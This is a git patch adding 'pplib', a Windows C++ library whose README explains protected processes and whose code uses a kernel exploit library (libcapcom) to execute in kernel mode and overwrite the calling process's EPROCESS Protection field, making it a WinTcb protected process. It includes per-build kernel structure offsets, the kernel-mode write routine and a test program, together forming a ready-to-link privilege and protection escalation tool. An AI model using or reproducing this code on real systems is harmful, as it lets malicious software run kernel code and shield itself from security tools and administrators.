From bf2c30de9b7801a1fdb2210df89a74ac83748245 Mon Sep 17 00:00:00 2001 From: notscimmy Date: Tue, 4 Sep 2018 00:01:41 -0700 Subject: [PATCH] Add code, link against libcapcom, add documentation --- .gitmodules | 3 + README.md | 69 ++++++++++++- libcapcom | 1 + pplib.sln | 57 +++++++++++ pplib/kerneloffsets.cpp | 76 +++++++++++++++ pplib/kerneloffsets.h | 142 +++++++++++++++++++++++++++ pplib/pplib.cpp | 43 +++++++++ pplib/pplib.h | 6 ++ pplib/pplib.vcxproj | 145 ++++++++++++++++++++++++++++ pplib/pplib.vcxproj.filters | 36 +++++++ pplib/structs.h | 65 +++++++++++++ testpplib/main.cpp | 9 ++ testpplib/testpplib.vcxproj | 129 +++++++++++++++++++++++++ testpplib/testpplib.vcxproj.filters | 22 +++++ 14 files changed, 802 insertions(+), 1 deletion(-) create mode 100644 .gitmodules create mode 160000 libcapcom create mode 100644 pplib.sln create mode 100644 pplib/kerneloffsets.cpp create mode 100644 pplib/kerneloffsets.h create mode 100644 pplib/pplib.cpp create mode 100644 pplib/pplib.h create mode 100644 pplib/pplib.vcxproj create mode 100644 pplib/pplib.vcxproj.filters create mode 100644 pplib/structs.h create mode 100644 testpplib/main.cpp create mode 100644 testpplib/testpplib.vcxproj create mode 100644 testpplib/testpplib.vcxproj.filters diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..43257c1 --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "libcapcom"] + path = libcapcom + url = https://github.com/notscimmy/libcapcom diff --git a/README.md b/README.md index 0cab04a..76bca36 100644 --- a/README.md +++ b/README.md @@ -1 +1,68 @@ -# pplib \ No newline at end of file +# pplib - Elevate processes to Protected Processes + +## Protected Processes +Windows' security model defines that a process running with debug privileges, such as under an administrative account, can request access to any right to other processes running on the machine. Such rights include the ability to: +* Read/write arbitrary process memory +* Inject/execute code +* Control thread states and execution +* Query information about other processes + +However, this model conflicts with security requirements for software that requires digital rights management. Protected processes are a solution to this requirement, adding many constraints to the rights that other processes can attain from the operating system. A process becomes a protected process when it's image on disk is signed by a specific Microsoft certificate, or is a process that is part of the **Windows Trusted Computer Base (WinTCB)**. Now the question is, can we trick the operating system to think a process is a protected process, without it being backed by a signed image on disk? + +## Implementation +The answer is **yes**, we will achieve this via **Direct Kernel Object Manipulation (DKOM)**. Since behavior of the Win32 API changes based on whether or not rights are being asked for a protected process, it makes sense for the data that distinguishes normal processes from protected processes to live somewhere in the kernel. A look into the ```EPROCESS``` structure in WinDbg will reveal a member called ```PS_PROTECTION Protection``` which is in fact the data that we want to manipulate. + +```cpp +typedef union _PS_PROTECTION +{ + UCHAR Level; + struct + { + int Type : 3; + int Audit : 1; + int Signer : 4; + } Flags; +} PS_PROTECTION, *PPS_PROTECTION; + +typedef enum _PS_PROTECTED_SIGNER +{ + PsProtectedSignerNone = 0, + PsProtectedSignerAuthenticode = 1, + PsProtectedSignerCodeGen = 2, + PsProtectedSignerAntimalware = 3, + PsProtectedSignerLsa = 4, + PsProtectedSignerWindows = 5, + PsProtectedSignerWinTcb = 6, + PsProtectedSignerMax = 7 +} PS_PROTECTED_SIGNER; + +typedef enum _PS_PROTECTED_TYPE +{ + PsProtectedTypeNone = 0, + PsProtectedTypeProtectedLight = 1, + PsProtectedTypeProtected = 2, + PsProtectedTypeMax = 3 +} PS_PROTECTED_TYPE +``` + +The structure is quite simple, and elevating a process to a protected process requires setting the **Protection** member in the corresponding process' ```EPROCESS``` structure to the appropriate bits as defined above. + +## How to use this library +1. Build the project +2. Link against **pplib.lib** +3. Include **pplib.h** +4. Call ```elevate_ppl()``` + +Inside the **testpplib** project: +```cpp +#include +#include "pplib.h" + +int main() +{ + elevate_ppl(); + MessageBoxA(NULL, "Use ProcessHacker to check PPL status", "Paused", NULL); + return 0; +} +``` +![](https://puu.sh/BppSS/3e8befbe76.png") \ No newline at end of file diff --git a/libcapcom b/libcapcom new file mode 160000 index 0000000..f9190d7 --- /dev/null +++ b/libcapcom @@ -0,0 +1 @@ +Subproject commit f9190d7c83303dde292106428f9f9b7bc19fc73f diff --git a/pplib.sln b/pplib.sln new file mode 100644 index 0000000..44002cf --- /dev/null +++ b/pplib.sln @@ -0,0 +1,57 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.27130.2010 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "pplib", "pplib\pplib.vcxproj", "{C032FA1E-9809-4947-BEC9-EC2B3F182A5D}" + ProjectSection(ProjectDependencies) = postProject + {AE5BAFC9-E4BA-4786-96E4-A564B113B206} = {AE5BAFC9-E4BA-4786-96E4-A564B113B206} + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "testpplib", "testpplib\testpplib.vcxproj", "{D194FE2D-C0CC-4560-A41D-DD03CF35F42F}" + ProjectSection(ProjectDependencies) = postProject + {C032FA1E-9809-4947-BEC9-EC2B3F182A5D} = {C032FA1E-9809-4947-BEC9-EC2B3F182A5D} + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libcapcom", "libcapcom\libcapcom\libcapcom.vcxproj", "{AE5BAFC9-E4BA-4786-96E4-A564B113B206}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {C032FA1E-9809-4947-BEC9-EC2B3F182A5D}.Debug|x64.ActiveCfg = Debug|x64 + {C032FA1E-9809-4947-BEC9-EC2B3F182A5D}.Debug|x64.Build.0 = Debug|x64 + {C032FA1E-9809-4947-BEC9-EC2B3F182A5D}.Debug|x86.ActiveCfg = Debug|Win32 + {C032FA1E-9809-4947-BEC9-EC2B3F182A5D}.Debug|x86.Build.0 = Debug|Win32 + {C032FA1E-9809-4947-BEC9-EC2B3F182A5D}.Release|x64.ActiveCfg = Release|x64 + {C032FA1E-9809-4947-BEC9-EC2B3F182A5D}.Release|x64.Build.0 = Release|x64 + {C032FA1E-9809-4947-BEC9-EC2B3F182A5D}.Release|x86.ActiveCfg = Release|Win32 + {C032FA1E-9809-4947-BEC9-EC2B3F182A5D}.Release|x86.Build.0 = Release|Win32 + {D194FE2D-C0CC-4560-A41D-DD03CF35F42F}.Debug|x64.ActiveCfg = Debug|x64 + {D194FE2D-C0CC-4560-A41D-DD03CF35F42F}.Debug|x64.Build.0 = Debug|x64 + {D194FE2D-C0CC-4560-A41D-DD03CF35F42F}.Debug|x86.ActiveCfg = Debug|Win32 + {D194FE2D-C0CC-4560-A41D-DD03CF35F42F}.Debug|x86.Build.0 = Debug|Win32 + {D194FE2D-C0CC-4560-A41D-DD03CF35F42F}.Release|x64.ActiveCfg = Release|x64 + {D194FE2D-C0CC-4560-A41D-DD03CF35F42F}.Release|x64.Build.0 = Release|x64 + {D194FE2D-C0CC-4560-A41D-DD03CF35F42F}.Release|x86.ActiveCfg = Release|Win32 + {D194FE2D-C0CC-4560-A41D-DD03CF35F42F}.Release|x86.Build.0 = Release|Win32 + {AE5BAFC9-E4BA-4786-96E4-A564B113B206}.Debug|x64.ActiveCfg = Debug|x64 + {AE5BAFC9-E4BA-4786-96E4-A564B113B206}.Debug|x64.Build.0 = Debug|x64 + {AE5BAFC9-E4BA-4786-96E4-A564B113B206}.Debug|x86.ActiveCfg = Debug|Win32 + {AE5BAFC9-E4BA-4786-96E4-A564B113B206}.Debug|x86.Build.0 = Debug|Win32 + {AE5BAFC9-E4BA-4786-96E4-A564B113B206}.Release|x64.ActiveCfg = Release|x64 + {AE5BAFC9-E4BA-4786-96E4-A564B113B206}.Release|x64.Build.0 = Release|x64 + {AE5BAFC9-E4BA-4786-96E4-A564B113B206}.Release|x86.ActiveCfg = Release|Win32 + {AE5BAFC9-E4BA-4786-96E4-A564B113B206}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {6155562B-1F09-4035-AE44-BF49D2A2380B} + EndGlobalSection +EndGlobal diff --git a/pplib/kerneloffsets.cpp b/pplib/kerneloffsets.cpp new file mode 100644 index 0000000..a8a9ed9 --- /dev/null +++ b/pplib/kerneloffsets.cpp @@ -0,0 +1,76 @@ +#include "kerneloffsets.h" + +windows_version kernel_offsets::version; +uint64_t kernel_offsets::name; +uint64_t kernel_offsets::pid; +uint64_t kernel_offsets::base; +uint64_t kernel_offsets::link; +uint64_t kernel_offsets::protection; +uint64_t kernel_offsets::flags2; +uint64_t kernel_offsets::objecttable; +uint64_t kernel_offsets::vadroot; + +windows_version get_windows_version() +{ + std::wstring wskernel32 = L"\\kernel32.dll"; + + wchar_t *path = NULL; + void *ver = NULL, *block; + windows_version version; + UINT n; + BOOL r; + DWORD versz, blocksz; + VS_FIXEDFILEINFO *vinfo; + + path = (wchar_t*)malloc(sizeof(*path) * MAX_PATH); + if (!path) + abort(); + + n = GetSystemDirectoryW(path, MAX_PATH); + if (n >= MAX_PATH || n == 0 || + n > MAX_PATH - wskernel32.length()) + abort(); + memcpy(path + n, wskernel32.c_str(), wskernel32.length() * sizeof(wchar_t) + 2); + + versz = GetFileVersionInfoSizeW(path, NULL); + if (versz == 0) + abort(); + ver = malloc(versz); + if (!ver) + abort(); + r = GetFileVersionInfoW(path, 0, versz, ver); + if (!r) + abort(); + r = VerQueryValueA(ver, "\\", &block, (PUINT)&blocksz); + if (!r || blocksz < sizeof(VS_FIXEDFILEINFO)) + abort(); + vinfo = (VS_FIXEDFILEINFO *)block; + if ((int)HIWORD(vinfo->dwProductVersionMS) == 10) + version = WINDOWS10; + else if ((int)HIWORD(vinfo->dwProductVersionMS) == 6) + { + switch ((int)LOWORD(vinfo->dwProductVersionMS)) + { + case 0: + version = UNSUPPORTED; + break; + case 1: + version = WINDOWS7; + break; + case 2: + version = WINDOWS8; + break; + case 3: + version = WINDOWS81; + break; + default: + version = UNSUPPORTED; + } + } + else + version = UNSUPPORTED; + + free(path); + free(ver); + return version; +} \ No newline at end of file diff --git a/pplib/kerneloffsets.h b/pplib/kerneloffsets.h new file mode 100644 index 0000000..73b5e79 --- /dev/null +++ b/pplib/kerneloffsets.h @@ -0,0 +1,142 @@ +#pragma once + +#include +#include + +enum windows_version +{ + WINDOWS7, + WINDOWS8, + WINDOWS81, + WINDOWS10, + UNSUPPORTED +}; + +extern windows_version get_windows_version(); + +extern "C" NTSTATUS RtlGetVersion(PRTL_OSVERSIONINFOW lpVersionInformation); + +class kernel_offsets +{ +public: + static windows_version version; + + // Eprocess Offsets + static uint64_t name; + static uint64_t pid; + static uint64_t base; + static uint64_t link; + static uint64_t protection; + static uint64_t flags2; + static uint64_t objecttable; + static uint64_t vadroot; + + static void init() + { + windows_version win_ver = get_windows_version(); + + version = win_ver; + switch (win_ver) + { + case WINDOWS7: + init_win7(); + break; + case WINDOWS8: + init_win8(); + break; + case WINDOWS81: + init_win81(); + break; + case WINDOWS10: + init_win10(); + break; + } + } + +private: + static void init_win7() + { + name = 0x2D8; + pid = 0x180; + base = 0x270; + link = 0x188; + protection = 0x43C; + flags2 = 0; + objecttable = 0x200; + vadroot = 0x448; + } + + static void init_win8() + { + name = 0x438; + pid = 0x2E0; + base = 0x3B0; + link = 0x2E8; + protection = 0x648; + flags2 = 0; + objecttable = 0x408; + vadroot = 0x590; + } + + static void init_win81() + { + name = 0x438; + pid = 0x2E0; + base = 0x3B0; + link = 0x2E8; + protection = 0x67A; + flags2 = 0x2F8; + objecttable = 0x408; + vadroot = 0x5D8; + } + + static void init_win10() + { + name = 0x450; + pid = 0x2E0; + base = 0x3C0; + link = 0x2E8; + protection = 0x6B2; + flags2 = 0x300; + objecttable = 0x418; + vadroot = 0x610; + + RTL_OSVERSIONINFOW osVersion; + RtlGetVersion(&osVersion); + if (osVersion.dwBuildNumber == 10586) + { + protection = 0x6B2; + flags2 = 0x300; + objecttable = 0x418; + vadroot = 0x610; + } + else if (osVersion.dwBuildNumber == 14393) + { + protection = 0x6C2; + flags2 = 0x300; + objecttable = 0x418; + vadroot = 0x620; + } + else if (osVersion.dwBuildNumber == 15063) + { + protection = 0x6CA; + flags2 = 0x300; + objecttable = 0x418; + vadroot = 0x628; + } + else if (osVersion.dwBuildNumber == 16299) + { + protection = 0x6CA; + flags2 = 0x828; + objecttable = 0x418; + vadroot = 0x628; + } + else if (osVersion.dwBuildNumber == 17134) + { + protection = 0x6CA; + flags2 = 0x828; + objecttable = 0x418; + vadroot = 0x628; + } + } +}; \ No newline at end of file diff --git a/pplib/pplib.cpp b/pplib/pplib.cpp new file mode 100644 index 0000000..88ddbf1 --- /dev/null +++ b/pplib/pplib.cpp @@ -0,0 +1,43 @@ +#include "structs.h" +#include "kerneloffsets.h" +#include "libcapcom.h" + +using namespace native::structs; + +bool elevate_ppl() +{ + if (!init_exploit()) return false; + + kernel_offsets::init(); + + execute_in_kernel([](MmGetSystemRoutineAddress_t _MmGetSystemRoutineAddress) + { + UNICODE_STRING DbgPrintExName = { 0 }; + RtlInitUnicodeString(&DbgPrintExName, L"DbgPrintEx"); + + UNICODE_STRING PsGetCurrentProcessName = { 0 }; + RtlInitUnicodeString(&PsGetCurrentProcessName, L"PsGetCurrentProcess"); + + DbgPrintEx_t _DbgPrintEx = (DbgPrintEx_t)_MmGetSystemRoutineAddress(&DbgPrintExName); + PsGetCurrentProcess_t _PsGetCurrentProcess = (PsGetCurrentProcess_t)_MmGetSystemRoutineAddress(&PsGetCurrentProcessName); + + _DbgPrintEx(77, 0, "Elevating to WinTcb(Full)...\n"); + BYTE* pEProcess = (BYTE*)_PsGetCurrentProcess(); + uint8_t* pPPL = pEProcess + kernel_offsets::protection; + + windows_version version = kernel_offsets::version; + if (version == WINDOWS7) + *pPPL |= 1 << 0xB; + else if (version == WINDOWS8) + *pPPL = true; + else if (version == WINDOWS81 || version == WINDOWS10) + { + PS_PROTECTION protection = { 0 }; + protection.Flags.Signer = PsProtectedSignerWinTcb; + protection.Flags.Type = PsProtectedTypeProtected; + *pPPL = protection.Level; + } + }); + + return cleanup_exploit(); +} \ No newline at end of file diff --git a/pplib/pplib.h b/pplib/pplib.h new file mode 100644 index 0000000..8ec495d --- /dev/null +++ b/pplib/pplib.h @@ -0,0 +1,6 @@ +#pragma once + +/* + Elevates the calling process to WinTcb(Full) protection +*/ +extern bool elevate_ppl(); diff --git a/pplib/pplib.vcxproj b/pplib/pplib.vcxproj new file mode 100644 index 0000000..b19056a --- /dev/null +++ b/pplib/pplib.vcxproj @@ -0,0 +1,145 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 15.0 + {C032FA1E-9809-4947-BEC9-EC2B3F182A5D} + pplib + 10.0.17134.0 + + + + Application + true + v141 + MultiByte + + + Application + false + v141 + true + MultiByte + + + Application + true + v141 + MultiByte + + + StaticLibrary + false + v141 + true + MultiByte + + + + + + + + + + + + + + + + + + + + + $(SolutionDir)libcapcom\libcapcom;$(IncludePath) + $(SolutionDir)x64\Release;$(LibraryPath) + + + + Level3 + Disabled + true + true + + + + + Level3 + Disabled + true + true + + + + + Level3 + MaxSpeed + true + true + true + true + stdcpplatest + MultiThreaded + + + true + true + mincore.lib;ntdll.lib;%(AdditionalDependencies) + RequireAdministrator + + + + + Level3 + Full + true + true + true + true + stdcpplatest + Size + MultiThreaded + _CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + + + true + true + mincore.lib;Version.lib;ntdll.lib;%(AdditionalDependencies) + RequireAdministrator + + + libcapcom.lib;%(AdditionalDependencies) + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/pplib/pplib.vcxproj.filters b/pplib/pplib.vcxproj.filters new file mode 100644 index 0000000..b76e454 --- /dev/null +++ b/pplib/pplib.vcxproj.filters @@ -0,0 +1,36 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + + \ No newline at end of file diff --git a/pplib/structs.h b/pplib/structs.h new file mode 100644 index 0000000..d464abc --- /dev/null +++ b/pplib/structs.h @@ -0,0 +1,65 @@ +#pragma once +#define WIN32_NO_STATUS +#include +#include +#undef WIN32_NO_STATUS +#include + +namespace native::structs +{ + typedef LARGE_INTEGER PHYSICAL_ADDRESS; + + typedef union _PS_PROTECTION + { + UCHAR Level; + struct + { + int Type : 3; + int Audit : 1; + int Signer : 4; + } Flags; + } PS_PROTECTION, *PPS_PROTECTION; + + typedef enum _PS_PROTECTED_SIGNER + { + PsProtectedSignerNone = 0, + PsProtectedSignerAuthenticode = 1, + PsProtectedSignerCodeGen = 2, + PsProtectedSignerAntimalware = 3, + PsProtectedSignerLsa = 4, + PsProtectedSignerWindows = 5, + PsProtectedSignerWinTcb = 6, + PsProtectedSignerMax = 7 + } PS_PROTECTED_SIGNER; + + typedef enum _PS_PROTECTED_TYPE + { + PsProtectedTypeNone = 0, + PsProtectedTypeProtectedLight = 1, + PsProtectedTypeProtected = 2, + PsProtectedTypeMax = 3 + + } PS_PROTECTED_TYPE; + + typedef struct _PHYSICAL_MEMORY_RANGE + { + PHYSICAL_ADDRESS BaseAddress; + LARGE_INTEGER NumberOfBytes; + } PHYSICAL_MEMORY_RANGE, *PPHYSICAL_MEMORY_RANGE; + + typedef enum _SECTION_INHERIT + { + ViewShare = 1, + ViewUnmap = 2 + } SECTION_INHERIT, *PSECTION_INHERIT; + + typedef CLIENT_ID* PCLIENT_ID; + typedef ULONG (*DbgPrintEx_t)(_In_ ULONG, _In_ ULONG, _In_ PCSTR, ...); + typedef PVOID (*PsGetCurrentProcess_t)(); + typedef VOID (*RtlInitUnicodeString_t)(PUNICODE_STRING, PCWSTR); + typedef NTSTATUS (*ZwOpenSection_t)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES); + typedef NTSTATUS (*ZwMapViewOfSection_t)(HANDLE, HANDLE, PVOID*, ULONG_PTR, SIZE_T, PLARGE_INTEGER, PSIZE_T, SECTION_INHERIT, ULONG,ULONG); + typedef NTSTATUS (*ZwOpenProcess_t)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PCLIENT_ID); + typedef PPHYSICAL_MEMORY_RANGE (*MmGetPhysicalMemoryRanges_t)(VOID); + typedef PVOID (NTAPI* MmGetSystemRoutineAddress_t)(PUNICODE_STRING); +} diff --git a/testpplib/main.cpp b/testpplib/main.cpp new file mode 100644 index 0000000..c6d0a8c --- /dev/null +++ b/testpplib/main.cpp @@ -0,0 +1,9 @@ +#include +#include "pplib.h" + +int main() +{ + elevate_ppl(); + MessageBoxA(NULL, "Use ProcessHacker to check PPL status", "Paused", NULL); + return 0; +} diff --git a/testpplib/testpplib.vcxproj b/testpplib/testpplib.vcxproj new file mode 100644 index 0000000..7612b6f --- /dev/null +++ b/testpplib/testpplib.vcxproj @@ -0,0 +1,129 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 15.0 + {D194FE2D-C0CC-4560-A41D-DD03CF35F42F} + testpplib + 10.0.17134.0 + + + + Application + true + v141 + MultiByte + + + Application + false + v141 + true + MultiByte + + + Application + true + v141 + MultiByte + + + Application + false + v141 + true + MultiByte + + + + + + + + + + + + + + + + + + + + + $(SolutionDir)pplib\;$(IncludePath) + $(SolutionDir)x64\Release;$(LibraryPath) + + + + Level3 + MaxSpeed + true + true + true + true + MultiThreaded + + + true + true + pplib.lib;Version.lib;ntdll.lib;%(AdditionalDependencies) + RequireAdministrator + + + + + Level3 + Disabled + true + true + + + + + Level3 + Disabled + true + true + + + + + Level3 + MaxSpeed + true + true + true + true + + + true + true + + + + + + + + + \ No newline at end of file diff --git a/testpplib/testpplib.vcxproj.filters b/testpplib/testpplib.vcxproj.filters new file mode 100644 index 0000000..a91ad0e --- /dev/null +++ b/testpplib/testpplib.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file